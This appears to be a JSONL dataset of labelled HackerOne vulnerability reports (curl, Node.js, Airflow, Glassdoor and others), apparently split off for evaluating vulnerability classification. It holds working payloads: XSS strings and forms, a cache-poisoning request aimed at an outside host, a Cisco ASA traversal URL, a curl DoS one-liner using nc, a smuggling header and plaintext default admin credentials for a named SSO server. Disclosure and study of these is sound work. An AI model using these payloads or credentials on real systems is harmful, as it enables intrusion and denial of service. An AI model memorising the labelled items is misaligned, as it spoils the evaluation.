+{"id": "6b43fe61bb53d25eb373", "text": "[Cryptographic Issues - Generic] Node 18 reads openssl.cnf from /home/iojs/build/... upon startup on MacOS\n\n> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!\n\n**Summary:**\n\nSimilar to https://hackerone.com/reports/1623175 it looks like in Node 18 and later, when it starts \n it attempts to read /home/iojs/build/ws/out/Release/obj.target/deps/openssl/openssl.cnf on MacOS which ordinarily doesn't exist. This is even after the fix for linux.\n\nThe attack would be an attacker with access to a shared MacOS host with a self-chosen username (iojs) being able to affect the OpenSSF configuration of other users. I believe the iojs home directory is something configured within the Node.js build/CI pipeline, as opposed to something internal to OpenSSL.\n\n**Description:**\n\n## Steps To Reproduce:\n\nFrom inspection of the code, look at the path specified in: https://github.com/nodejs/node/blob/7f9cd60eef6fad245baed9896ec6376b693e089a/deps/openssl/openssl.gyp#L24\n\n        'openssl_dir': '<(PRODUCT_DIR_ABS)/obj.target/deps/openssl',\n\nand unlike other platforms, this is not overriden on MacOS in \"/deps/openssl/openssl_common.gypi\"\n\nThis is a similar problem to what was fixed for Linux in https://nodejs.org/en/blog/vulnerability/july-2022-security-releases/#attempt-to-read-openssl-cnf-from-home-iojs-build-upon-startup-medium-cve-2022-32222\n\n## Impact:\n\n openssl.cnf file is being read as part of OpenSSL's initialization; this is used to configure Node.js\n\n## Supporting Material/References:\n\nThis is the suggested fix (also includes removing existing compiler warnings about duplicate OPENSSL definitions)\n\ndiff --git a/deps/openssl/openssl.gyp b/deps/openssl/openssl.gyp\n  2 index 7b1278044e..861bbc5844 100644\n  3 --- a/deps/openssl/openssl.gyp\n  4 +++ b/deps/openssl/openssl.gyp\n  5 @@ -7,21 +7,17 @@\n  6      'conditions': [\n  7        ['OS == \"win\"', {\n  8          'obj_dir_abs': '<(PRODUCT_DIR_ABS)/obj',\n  9 -        'openssl_dir': '<(PRODUCT_DIR_ABS)/obj/lib',\n 10        }],\n 11        ['GENERATOR == \"ninja\"', {\n 12          'obj_dir_abs': '<(PRODUCT_DIR_ABS)/obj',\n 13          'modules_dir': '<(PRODUCT_DIR_ABS)/obj/lib/openssl-modules',\n 14 -        'openssl_dir': '<(PRODUCT_DIR_ABS)/obj/lib',\n 15        }, {\n 16          'obj_dir_abs%': '<(PRODUCT_DIR_ABS)/obj.target',\n 17          'modules_dir': '<(PRODUCT_DIR_ABS)/obj.target/deps/openssl/lib/openssl-modules',\n 18 -        'openssl_dir': '<(PRODUCT_DIR_ABS)/obj.target/deps/openssl',\n 19        }],\n 20        ['OS==\"mac\"', {\n 21          'obj_dir_abs%': '<(PRODUCT_DIR_ABS)/obj.target',\n 22          'modules_dir': '<(PRODUCT_DIR_ABS)/obj.target/deps/openssl/lib/openssl-modules',\n 23 -        'openssl_dir': '<(PRODUCT_DIR_ABS)/obj.target/deps/openssl',\n 24        }],\n 25      ],\n 26    },\n 27 @@ -57,7 +53,6 @@\n 28          ['node_shared_openssl==\"false\"', {\n 29            'defines': [\n 30              'MODULESDIR=\"<(modules_dir)\"',\n 31 -            'OPENSSLDIR=\"<(openssl_dir)\"',\n 32            ]\n 33          }],\n 34        ],\n 35 diff --git a/deps/openssl/openssl_common.gypi b/deps/openssl/openssl_common.gypi\n 36 index d4e39e8416..256eb7d180 100644\n 37 --- a/deps/openssl/openssl_common.gypi\n 38 +++ b/deps/openssl/openssl_common.gypi\n 39 @@ -49,6 +49,7 @@\n 40          'WARNING_CFLAGS': ['-Wno-missing-field-initializers']\n 41        },\n 42        'defines': [\n 43 +        'OPENSSLDIR=\"/System/Library/OpenSSL/\"',\n 44          'ENGINESDIR=\"/dev/null\"',\n 45        ],\n 46      }, 'OS==\"solaris\"', {\n\n## Impact\n\nThe openssl.cnf file contains security configuration information for OpenSSL. It's possible that changing things like default ciphers could affect the security of an application using it.", "source": "hackerone", "timestamp": "2022-10-26", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "bada631f1fd73db280cf", "text": "[Cross-site Scripting (XSS) - Reflected] Bypass of #2035332 RXSS at image.hackerone.live via the `url` parameter\n\nHeyy there,\nI was able to bypass the fix for the reflected xss reported in #2035332\n\nAfter the bug patch, the server now validates the `Content-Type` of the requested resource. The check is done by making a `HEAD` based request to the resource to get the `Content-Type` then if it corresponds to a valid image mime type a second request is made this time `GET` based to retrieve the page resource content.\n\nDue to the HEAD based check it's very easy to bypass this check, just need to modify the server to response with a different `Content-Type` in case of GET and HEAD request\n\nExample code:\n\n```php\n<?php\n\nif ($_SERVER['REQUEST_METHOD'] == 'HEAD') {\n    header(\"Content-Type: image/png\");\n    exit;\n}\n\nheader(\"Location: https://sudistark.github.io/evilsvgfile.svg\");\n\n?>\n```\n\nTOCTOU ( time-of-check to time-of-use) : At the time of check the application relies  upon HEAD request but at the time of use relies upon GET request this allows the attacker to bypass the protection.\n\n\nThis xss works only in the Safari browser , I was able to find the problem why it doesn't works in other browser. It had do something with the `Accept` header.\n\nOther browsers send the Accept header with these values: \n\n```\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\n```\nThe server applies sanitization if the Accept header is similar to above, in case of Safari it does something wierd (I don;t actually have a mac so not sure what's eactly it's sending in the Accept header)\nBut the server doesn;t does any sanitization if the header value is like this\n\n```\nAccept: */*\n```\n\n---------------------------------\n\n\n**Steps to reproduce:**\n\n1.Save this code in your webserver xss.php\n\n```php\n<?php\n\nif ($_SERVER['REQUEST_METHOD'] == 'HEAD') {\n    header(\"Content-Type: image/png\");\n    exit;\n}\n\nheader(\"Location: https://sudistark.github.io/evilsvgfile.svg\");\n\n?>\n```\n2.Then input your host in the url parameter: https://image.hackerone.live:8443/resource/md/get/url?url=http://yourhost/ss.php\n3.Open this url in Safari browser and you should get the xss\n{F2593672}\n\n\n---------------------------------\n\n## Impact\n\nAs the server is behind cloudflare I can;t directly make a request to the AWS metadata endpoint, but for the least I can confirm the xss with the provided poc\n\nThankyou\nRegards\nSudhanshu", "source": "hackerone", "timestamp": "2023-08-22", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "bbc1f2f72db9be820c6a", "text": "[Unknown] Default Admin Username and Password on remedysso.mtncameroon.net\n\n## Summary:\nA Remedy Single Sign-On (Remedy SSO) Server is running at https://remedysso.mtncameroon.net/rsso/admin/#/.  \nIt is possible to access the application is using the default Administrator credentials.\n\n## Steps To Reproduce:\nGo to https://remedysso.mtncameroon.net/rsso/admin/#/ and login with credentials:\n- Username: Admin\n- Password: RSSO#Admin#\n\n## Remediation\nChange the password of the Admin user or disable the account.\n\n## References\nhttps://cwe.mitre.org/data/definitions/521.html\n\n## Impact\n\nA MNT Group Single Sign-On application was misconfigured in a manner that may have allowed a malicious user to login with the administrator user. The user is capable to perform any kind of configuration of the SSO system and retrieve sensitive information about organization users and infrastructure.", "source": "hackerone", "timestamp": "2022-09-01", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "ee397200ec473597e90c", "text": "[Privilege Escalation] Subdomain Takeover at https://new.rubyonrails.org/\n\n## Disclaimer\n\nI know it's OOS but the issue is pretty serious because of the attractive domain name \"new.rubyonrails.org\" basically anyone could have put malware there.\n\n## Summary\nHi!\n\nI discovered that new.rubyonrails.org was pointing to an unclaimed Github Page, making it vulnerable to subdomain takeover.\nI've managed to claim it in my Github-account and added a simple html file as POC:\n\n{F1548667}\n\n`https://new.rubyonrails.org`\n\n## Mitigation\n- Remove the DNS record\n\nBest regards,\nnagli\n\n## Impact\n\nSubdomain takeovers can be used for\n- Cookies set to the root domain will be shared with this subdomain and can be obtained\n- Stored XSS (arbitrary javascript code can be executed in a users browser)\n- Phishing\n- Hosting malicious content", "source": "hackerone", "timestamp": "2022-03-03", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "2561d3c72fca0ca2b8eb", "text": "[Allocation of Resources Without Limits or Throttling] CVE-2022-32206: HTTP compression denial of service\n\n## Summary:\nCurl does not prevent resource consumption when processing certain header types, but keeps on allocating more and more resources until the application terminates (or the system crashes, see below).\n\nThe attack vectors include (at least):\n- Sending many `Transfer-Encoding`with repeated encodings such as \"gzip,gzip,gzip,...\"\n- if `CURLOPT_ACCEPT_ENCODING` is set sending many `Content-Encoding` with repeated encodings such as \"gzip,gzip,gzip,...\"\n- Sending many `Set-Cookie` with unique cookie names and about 4kbyte value\n\n## Steps To Reproduce:\n  1.Run the following HTTP server:\n `perl -e 'print \"HTTP/1.1 200 OK\\r\\n\";for (my $i=0; $i < 10000000; $i++) {  printf \"Transfer-Encoding: \" . \"gzip,\" x 20000 . \"\\r\\n\"; }' | nc -v -l -p 9999`\n  2. `curl http://localhost:9999`\n\nThe application will terminate when it runs out of memory.\n\nOn macOS the app dies due to OOM:\n```\nKilled: 9\n$ echo $?\n137\n```\n\nOn linux it's the same:\n```\nKilled\n$ echo $?\n137\n```\n\nWhen targeting Windows 11 system the system would stop responding. Once the attack script was terminated the system would not recover after 10 minutes of waiting. While it was possible to log on to the system the display would remain black. Rebooting the system was necessary to recover the system to a working state. This of course is likely due to bugs in the Windows operating system or drivers.\n\nOn other platforms nasty effects may also occur, such as causing extreme swapping or a system crash. Depending on how the system handles the application gobbling all memory it may result in collateral damage, for example when kernel attempts to release system resources by killing processes.\n\n## Impact\n\n- Uncontrolled resource consumption\n- Uncontrolled application termination\n- System crash (on some platforms)", "source": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "21ee412664a808f44310", "text": "[Uncontrolled Resource Consumption] CVE-2022-27781: CERTINFO never-ending busy-loop\n\nPublished Advisory: https://curl.se/docs/CVE-2022-27781.html\n\nOriginal Report: https://hackerone.com/reports/1555441\n\n## Impact\n\nDue to an erroneous function, a malicious server could make libcurl built with NSS get stuck in a never-ending busy-loop when trying to retrieve that information.", "source": "hackerone", "timestamp": "2022-07-24", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "62edec84f4b838729711", "text": "[Classic Buffer Overflow] Buffer overflow and affected url:-https://github.com/curl/curl/blob/master/docs/examples/hsts-preload.c\n\n## Summary:\nA buffer overflow, also known as a buffer overrun, occurs when a program or process attempts to write more data to a buffer than the buffer is allocated to hold. This can happen if the program does not properly check the length of the data before writing it to the buffer, or if the program allocates too little space for the buffer.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n1. The hstsread function in the provided code does not properly check the length of the host string before copying it into the e->name buffer. This could lead to a buffer overflow, allowing an attacker to inject arbitrary code into the application.this could exploited by a malicious domain or website whose url should be long enough to overflow buffer as it's using strcpy function \nCondition a malicious preload host is required to exploit this if it's meet government can use it for zero click attack\n\nRecommendation:\n\nThe hstsread function should be modified to check the length of the host string before copying it into the e->name buffer. If the string is too long, the function should return an error code\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\nAffected url:-https://github.com/curl/curl/blob/master/docs/examples/hsts-preload.c\nHere is the vulnerable code if attacker or government manipulate developer to add a very long domain name in  hsts_preload then this will result remote code execution \n\n\n\n#include <stdio.h>\n#include <string.h>\n#include <curl/curl.h>\n\nstruct entry {\n  const char *name;\n  const char *exp;\n};\n\nstatic const struct entry preload_hosts[] = {\n  { \"example.com\", \"20370320 01:02:03\" },\n  { \"curl.se\",     \"20370320 03:02:01\" },\n  { NULL, NULL } /* end of list marker */\n};\n\nstruct state {\n  int index;\n};\n\n/* \"read\" is from the point of the library, it wants data from us. One domain\n   entry per invoke. */\nstatic CURLSTScode hstsread(CURL *easy, struct curl_hstsentry *e,\n                            void *userp)\n{\n  const char *host;\n  const char *expire;\n  struct state *s = (struct state *)userp;\n  (void)easy;\n  host = preload_hosts[s->index].name;\n  expire = preload_hosts[s->index++].exp;\n\n  if(host && (strlen(host) < e->namelen)) {\n    strcpy(e->name, host);\n    e->includeSubDomains = 0;\n    strcpy(e->expire, expire);\n    fprintf(stderr, \"HSTS preload '%s' until '%s'\\n\", host, expire);\n  }\n  else\n    return CURLSTS_DONE;\n  return CURLSTS_OK;\n}\n\nstatic CURLSTScode hstswrite(CURL *easy, struct curl_hstsentry *e,\n                             struct curl_index *i, void *userp)\n{\n  (void)easy;\n  (void)userp; /* we have no custom input */\n  printf(\"[%u/%u] %s %s\\n\", (unsigned int)i->index, (unsigned int)i->total,\n         e->name, e->expire);\n  return CURLSTS_OK;\n}\n\nint main(void)\n{\n  CURL *curl;\n  CURLcode res;\n\n  curl = curl_easy_init();\n  if(curl) {\n    struct state st = {0};\n\n    /* enable HSTS for this handle */\n    curl_easy_setopt(curl, CURLOPT_HSTS_CTRL, (long)CURLHSTS_ENABLE);\n\n    /* function to call at first to populate the cache before the transfer */\n    curl_easy_setopt(curl, CURLOPT_HSTSREADFUNCTION, hstsread);\n    curl_easy_setopt(curl, CURLOPT_HSTSREADDATA, &st);\n\n    /* function to call after transfer to store the new state of the HSTS\n       cache */\n    curl_easy_setopt(curl, CURLOPT_HSTSWRITEFUNCTION, hstswrite);\n    curl_easy_setopt(curl, CURLOPT_HSTSWRITEDATA, NULL);\n\n    /* use the domain with HTTP but due to the preload, it should do the\n       transfer using HTTPS */\n    curl_easy_setopt(curl, CURLOPT_URL, \"http://curl.se\");\n\n    curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);\n\n    /* Perform the request, res will get the return code */\n    res = curl_easy_perform(curl);\n    /* Check for errors */\n    if(res != CURLE_OK)\n      fprintf(stderr, \"curl_easy_perform() failed: %s\\n\",\n              curl_easy_strerror(res));\n\n    /* always cleanup */\n    curl_easy_cleanup(c", "source": "hackerone", "timestamp": "2023-11-15", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "5962625ba002a6daf113", "text": "[Cross-site Scripting (XSS) - Stored] Cache Poisoning allows redirection on JS files\n\nHi,\n\nI found the following Cache Poisoning vulnerability:\n\n1. Send the following request: ( this will poison `/test.js` into redirecting to `https://youst.in/test.js`) \n\n```http\nGET /test.js?cb=1 HTTP/2\nHost: design.glassdoor.com\nSec-Ch-Ua: \"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36\nSec-Ch-Ua-Platform: \"macOS\"\nAccept: text/css,*/*;q=0.1\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: no-cors\nSec-Fetch-Dest: style\nReferer: https://design.glassdoor.com/\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nX-Forwarded-Scheme:  http\nX-Forwarded-Host: youst.in\n\n```\n\n2. You should notice the `Cf-Cache-Status: MISS` header when first sending the request. After sending another request, you should see `Cf-Cache-Status: HIT`, confirming the redirect has been cached.\n\n3. You can also visit the url in a browser and notice you get redirect to `youst.in`.\n\n## Impact\n\nAn attacker can use the same attack against valid JS files leading to full control over the loaded JS. If any Glassdoor websites import javascript files from `https://design.glassdoor.com/*` they are susceptible to a Stored XSS attack via Cache Poisoning.", "source": "hackerone", "timestamp": "2023-08-24", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "ced4695ce3cd956062d5", "text": "[Path Traversal] [CVE-2020-3452] on ███████\n\nThe following subdomain is vulnerable to CVE-2020-3452, which is an unauthenticated file read in Cisco ASA & Cisco Firepower.\n\n#  URL:\nhttps://████/\n\n# Vulnerable URL:\nhttps://███/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\n██████████\n\n# Resources:\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86\n\n## Impact\n\nThe vulnerability could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-3452\n\n## Steps to Reproduce\n* Go to https://██████/+CSCOE+/logon.html\n* Intercept the request with Burpsuite\n* Send the request to Repeater\n* Change the URL path to the following `/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../as` an example to read \"/+CSCOE+/portal_inc.lua\" file.\n* You will get the portal_inc.lua file\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "3729708a8fa739738f41", "text": "[Business Logic Errors] CVE-2022-32207: Unpreserved file permissions\n\n## Summary:\nCurl fails to preserve file permissions when writing:\n- `CURLOPT_COOKIEJAR` database\n- `CURLOPT_ALTSVC` database\n- `CURLOPT_HSTS` database\n\nInstead the permissions is always reset to 0666 & ~umask if the file is updated.\n\nAs a result a file that was before protected against read access by other users becomes other user readable (as long as umask doesn't have bit 2 set).\nOut of these files only the `CURLOPT_COOKIEJAR` is likely to contain sensitive information.\n\nIn addition curl will replace softlink to the database with locally written database, or if the application is run privileged, specifying `\"/dev/null\"` as a file name can lead to system overwriting the special file and result in inoperable system.\n\nThis is CWE-281: Improper Preservation of Permissions\n\n## Steps To Reproduce:\n\n  1.  `umask 022`\n  2.  `install -m 600 /dev/null cookie.db`\n  3. `curl -b cookie.db -c cookie.db https://google.com`\n  4.  `ls -l cookie.db`\n\nAt least for  `CURLOPT_COOKIEJAR` this vulnerability was introduced in https://github.com/curl/curl/commit/b834890a3fa3f525cd8ef4e99554cdb4558d7e1b - this change was introduced to fix a issue https://github.com/curl/curl/issues/4914\n\n## Fix recommendations\n\nIf a file file is created and moved over a the old one, only do this if the file is regular file. Anything else is likely going to end up causing unexpected behaviour, outright failing, or if the user has high enough permissions, damage to the operating system.\n\nSafe cloning of file permissions can only be achieved if the owner / group of the file match the current user (else group permissions might be incorrect). Hence creating a new file and moving it over the old one should IMO only be attempted if the file user and group match that of the previous file.\n\nIf a method of creating a new file is still desired, something like this could be attempted to cover the most use cases:\n\n ```\n  /* If old file is a regular file attempt creating a new file with same ownership */\n  struct stat st;\n  if (stat(filename, &st) != -1 && S_ISREG(st.st_mode)) {\n    FILE *file;\n    int fd;\n    struct stat nst;\n    fd = open(tempstore, O_CREAT | O_EXCL, 0700);\n    if (fd == -1)\n      goto fail;\n    if (fstat(fd, &nst) == -1 ||\n       nst.st_uid != st.st_uid || nst.st_gid != st.st_gid) {\n      /* newly created file doesn't have same ownership, we can't proceed safely */\n      close(fd);\n      unlink(tempstore);\n      goto fail; // or perhaps try direct write instead?\n     }\n    /* use same mode as old file */\n    if (fchmod(fd, st.st_mode) == -1) {\n      close(fd);\n      unlink(tempstore);\n      goto fail;\n    }\n    file = fdopen(fd, FOPEN_WRITETEXT);\n    if (!file) {\n      close(fd);\n      unlink(tempstore);\n      goto fail;\n   }\n   /* write to file */\n   /* if successful move file over filename etc */\n  }\n  else  {\n    /* use direct file write */\n  }\n ```\n\n## Impact\n\nLeak of sensitive information", "source": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "9297f54bbdd5b86e1b0d", "text": "[Cross-site Scripting (XSS) - Reflected] RXSS on █████████\n\nI found RXSS on https://███████/██████\n\n## Impact\n\nPerform any action within the application that the user can perform.\nView any information that the user is able to view.\nModify any information that the user is able to modify.\nInitiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nInject payload `r={payload}`\n\n1.  Copy and paste on Burpsuite Repeater:\n```\nPOST /███ HTTP/1.1\nHost: ████████\nCookie: CFID=26233; CFTOKEN=90ba2403db7cf6d0-EA17C9CD-25F4-FB4C-2DEC8DEF637D9544; JSESSIONID=4837C2581F93ABB4DC8F719B2881FA98.cfusion; USAASCpersistence=184943114.20480.0000; TS0102adba=01dbba97f7cb238df71647f1b721444c13c907477d6bbbdab26080274d698141cbde7445d9eac690029443ecf71a098be9ddf1b4285cb4c9fdec0c2d52e8c64f27a783caa91d63c57bc0492f850ce173197907096e69fb1671e87db9318cbbea85dad29ef8ff28ef59a7467ca3f87758b8d9f1ce8c\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 63\nOrigin: https://██████████\nReferer: https://████████/███████\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\nr=%22><svG%20onLoad=alert(9)>&btnAction=I+understand+and+accept\n```\n2. View the result:\n███████\n████████\n\n3. You can use this code to test on html files :\n```\n<html>\n  <body>\n  <script>history.pushState('', '', '/')</script>\n    <form action=\"https://█████/████\" method=\"POST\">\n      <input type=\"hidden\" name=\"r\" value=\"&quot;&gt;&lt;svG&#32;onLoad&#61;alert&#40;9&#41;&gt;\" />\n      <input type=\"hidden\" name=\"btnAction\" value=\"I&#32;understand&#32;and&#32;accept\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n  </body>\n</html>\n\n```\n\n## Suggested Mitigation/Remediation Actions\nFilter input on arrival\nEncode data on output\nUse appropriate response headers\nContent Security Policy.", "source": "hackerone", "timestamp": "2022-06-10", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "169094cd0ee1e802d655", "text": "[Server-Side Request Forgery (SSRF)] CVE-2022-27780: percent-encoded path separator in URL host\n\n## Summary:\nURL decoding the entire proxy string could lead to SSRF filter bypasses. For example,\n\nWhen the following curl specifies the proxy string `http://example.com%2F127.0.0.1`\n\n- If curl URL parser or another RFC3986 compliant parser parses the initial string http://127.0.0.1%2F.example.com, it will derive 127.0.0.1%2Fexample.com or 127.0.0.1/example.com as the host, if for instance, an SSRF check is used to determine if a host ends with .example.com (.example.com being a allow-listed domain), the check will succeed.\n- curl will then URL decode the entire proxy string to http://127.0.0.1/example.com and send it to the server\n````\nGET http://127.0.0.1/example.com HTTP/1.1\nHost: 127.0.0.1/example.com\nUser-Agent: curl/7.83.0\nAccept: */*\nProxy-Connection: Keep-Alive\n````\n- This proxy string is valid, and proxy servers, even RFC3986-compliant ones will send the request to the host 127.0.0.1\n\n## Steps To Reproduce:\nI switched things up and used 127.0.0.1 as the allow-listed server and example.com as the target server to make it easier (no need to setup a HTTP server) to reproduce.\n\n1. I used https://github.com/abhinavsingh/proxy.py as my proxy server. \n2. Perform the following:\n````\ncurl -x http://127.0.0.1:8899 http://example.com%2F127.0.0.1\n````\n3. You will receive a malformed response \n````\n<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n         \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">\n        <head>\n                <title>400 - Bad Request</title>\n        </head>\n        <body>\n                <h1>400 - Bad Request</h1>\n        </body>\n</html>\n````\nHowever, this response is actually being returned by example.com, the reason is that proxy.py will forward the Host header, currently 127.0.0.1/example.com curl sends it, making it a Blind SSRF\n\n4. If \n- an attacker can control the host header either via curl itself \n- the proxy does not forward the host header curl sends, \n- or if servers which ignore the Host header entirely such as Express is used,\nit is possible to read the full response\n````\ncurl -x http://127.0.0.1:8899 -H \"Host: example.com\" http://example.com%2F127.0.0.1/%2e%2e/\n````\n## Recommended Fix:\nThe recommended fix for this is to not URL decode the host component of the proxy string when passing to proxy server.\n\n## Impact\n\nSSRF filter bypass at if the curl URL parser or a RFC 3986 parser is used, it could lead to blind / full SSRF depending on the proxy used.", "source": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "61ae1b8d5b80c3b47531", "text": "[Weak Password Recovery Mechanism for Forgotten Password] No length on password\n\nHey, when I try to set the password while creating an account I noticed that you haven't kept any password limit. \n\nYou need to decrease password length: There are two reasons for limiting the password size. For one, hashing a large amount of data can cause significant resource consumption on behalf of the server and would be an easy target for a Denial Of Service attack.\n\nNormally all sites have a password minimum to maximum lengths like 72 characters limit or 48 limits to prevent Denial Of Service attack. in my SQL but in the website registration page, there are no limitations. Let me know if you need any more details.\n\nVulnerable Domain:https://imgur.com/\n==========\n\nThis is typically not DoS, but a vulnerability that may lead to a DoS attack.\n\nThe password I tried is:\n\nT12345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678", "source": "hackerone", "timestamp": "2022-01-24", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "1a42e6d3177c0d936de9", "text": "[HTTP Request Smuggling] CVE-2022-32213 bypass via obs-fold mechanic\n\n## Summary\nThe fix for CVE-2022-32213 can be bypass using an obs-fold, which Node's http parser supports\n\n## Proof-Of-Concept\n`````\nconst http = require('http');\n\nhttp.createServer((request, response) => {\n  let body = [];\n  request.on('error', (err) => {\n    response.end(\"error while reading body: \" + err)\n}).on('data', (chunk) => {\n    body.push(chunk);\n}).on('end', () => {\n    body = Buffer.concat(body).toString();\n\n    response.on('error', (err) => {\n        response.end(\"error while sending response: \" + err)\n    });\n\n    response.end(\"Headers: \" + JSON.stringify(request.headers));\n  });\n}).listen(5000);\n\n`````\nSend the obs-fold via curl\n`````\ncurl -vv -H $'Transfer-Encoding: chunked\\r\\n abc' --data \"A\" http://127.0.0.1:5000\n`````\nSee that the server accepted the chunked request, and will incorrectly fold abc to the value of the Transfer-Encoding header. This is seen in the value of \"transfer-encoding\" as \"chunked abc\" in the printed headers.\n`````\nHeaders: {\"host\":\"127.0.0.1:5000\",\"user-agent\":\"curl/7.83.1\",\"accept\":\"*/*\",\"transfer-encoding\":\"chunked abc\",\"content-type\":\"application/x-www-form-urlencoded\"}\n`````\n\n## Impact\n\nIf nodejs HTTP module is used as a proxy, then it incorrectly parses the transfer-encoding header as indicative of chunked request, while folding the headers and hence forwarding `Transfer-Encoding: chunked abc` which is not a valid transfer-encoding header to the downstream server. As such this can lead to the  HTTP request smuggling as indicated by CVE-2022-32213.", "source": "hackerone", "timestamp": "2022-10-26", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "9a309ad2969b826d0fbd", "text": "[Open Redirect] CVE-2022-45402: Apache Airflow: Open redirect during login\n\nIn Apache Airflow versions prior to 2.4.3, there was an open redirect in the webserver's `/login` endpoint.\n\nmy initial email to `security@apache.org`:\n```\nHi,\n\nIn Apache Airflow, there is a parameter \"next\" on the Login page. And after a successful login, we're redirected to this parameter's value. \nI see there are some preventions for the open redirect bug. However, I can bypass these preventions using \"/\\google.com\"\n\nIt seems this parameter accepts anything after the slash \"/\" character. And, browsers parse \"/\\\" as \"http://\" in the location header.\n\nFor reproducing, you can try to login on the http://127.0.0.1:8080/login/?next=/\\google.com\n\nI tested this bug in the last version (v2.4.2)\n\nRegards,\nBugra Eskici\n```\n\nHere is the email thread:\n{█████████}\n\n## Impact\n\nUnvalidated URL redirection during login, can be used for phishing, etc.\n\nRegards,\nBugra", "source": "hackerone", "timestamp": "2022-12-01", "split": "val", "label_source": "within_source_cve_index", "label": 1}
